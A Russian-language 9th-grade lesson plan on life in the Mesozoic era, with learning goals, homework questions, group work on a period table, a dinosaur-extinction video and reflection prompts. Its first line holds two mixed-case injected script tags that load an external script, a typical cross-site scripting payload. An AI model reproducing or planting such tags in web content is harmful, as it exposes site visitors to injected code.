<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

предмет:  химия

Школа:  Отрадненская

СШ

КЛАСС: 9

ФИО

учителя: Майзингер Оксана Яковлевна

Урок № 49

Тема урока Развитие жизни в мезозое.                                    

Дата: 14.03.2018

Количество присутствующих:

Количество отсутствующих:

Цели

обучения урока  в рамках учебной

программы по предмету

Учащиеся

могут дать характеристику геологическим и климатическим изменениям на планете

Земля,  рассказывают о флоре и фауне

этой эры, называют версии о причинах гибели динозавров

Критерии успеха

Все учащиеся смогут:

·        

 Назвать периоды мезозойской эры, сказать что

мезозой - это эра динозавров

Большинство учащихся будут уметь:

·        

Самостоятельно работать с материалом

учебника

Некоторые учащиеся смогут:

·        

Сделать выводы о том, какое значение

ароморфозы мезозойской эры повлияли на флору и фауну современной планеты

Языковая цель

Учащиеся

могут:

·        

использовать

имеющиеся знания, анализировать информацию, работать с текстом и рисунками

учебника, делать выводы

·        

Самостоятельно

работать с учебником делать выводы, составлять концептуальные таблицы

·        

Работать

с учебником, логически мыслить, делать выводы

·        

самостоятельно

работать с материалом учебника, критически мыслить

Ключевые

слова и фразы:

триас, юра, мел, динозавры, ароморфозы

Стиль

языка, подходящий для диалога/письма в классе:  научно

- деловой

Вопросы

для обсуждения:

Можете

ли вы сказать, почему...?

Почему погибли динозавры?

Подсказки:

Большой взрыв

Предыдущее

обучение

Развитие жизни в криптозое.

План

Планируемые сроки

Планируемые действия (замените записи ниже

запланированными действиями)

Ресурсы

Начало

урока

Приветствие.

Настрой на урок.

Открытие темы урока, целеполагание

Проверка д/з по вопросам:

На какие временные

промежутки делится вся летопись изучения Земли? (эры и периоды)

Расположите эры

развития Земли, начиная с самой древней

Какая из эр самая большая по

продолжительности? (архей)

На сколько периодов делится

палеозойская эра? (6)

Расположите периоды

палеозойской эры, начиная с самой древней ( Кембрий Ордовик  Силур 

Девон  Карбон  Пермь)

Какие растения

процветали в период Карбона и образованию каких полезных ископаемых они

способствовали?( гиганские древовидные папоротники, каменный уголь)

в каком периоде

появились первые настоящие наземные позвоночные животные- земноводные?

(Девон)

Тестирование по темам

Д/з

Названия

эр и периодов

Тесты

Середина

урока

Изучение

темы урока.

Вступительное

слово учителя с краткой характеристикой основных событий мезозойской эры,

учащиеся подготовившие материалы к уроку дополняют слова учителя

Работа

в группах: заполнение таблицы «Мезозойская эра»: каждая группа заполняет

только по одному периоду, затем по 2 представителя от каждой группы идут в

другие группы для того, чтобы поделиться информацией

Просмотр

видеоролика «Почему погибли динозавры»

Беседа

по вопросам для обсуждения по вопросу какую роль в формировании современных

видов животных и растений сыграли растения и животные мезозойской эры?

Презентации Power

Point,

сообщения учащихся

Учебник §51, листы с

дополнительными материалами

Конец

урока 

Рефлексия.

На стикерах 

ответить на вопросы:

НА уроке затруднения вызвало…

Интереснее всего было…

Еще больше я хочу узнать о…

Домашнее задание: §51, закончить заполнение

таблицы, по желанию подготовить 

презентации «Развитие жизни на Земле в кайнозойской эре»

Дополнительная информация

Дифференциация

- как вы планируете более полную поддержку в обучении всех  учащихся? Как вы планируете стимулировать

более способных учащихся?

Оценивание

– как вы планируете  проверить уровень

обученности учащихся?

Межпредметные

связи.

Обеспечение безопасности и 

здоровьесберегающих

условий обучения.

Использование ИКТ.

Развитие ценностей учащихся.

·      

На уроке задаются вопросы высокого и

низкого порядка

·      

Все учащиеся могут  самостоятельно находить информацию в

учебнике

·      

Учитель

после урока оценивает выполнение учащимися тестов;

·      

учащиеся, подготовившие сообщения и

презентации оцениваются на уроке.

·      

География, физика

·      

Здоровьесберегающие технологии

осуществляются путем смены видов деятельности учащихся

·      

На уроке используются мультимедийные

презентации и видеоролик

·      

Воспитание интереса учащихся к  изучению 

истории формирования жизни на Земле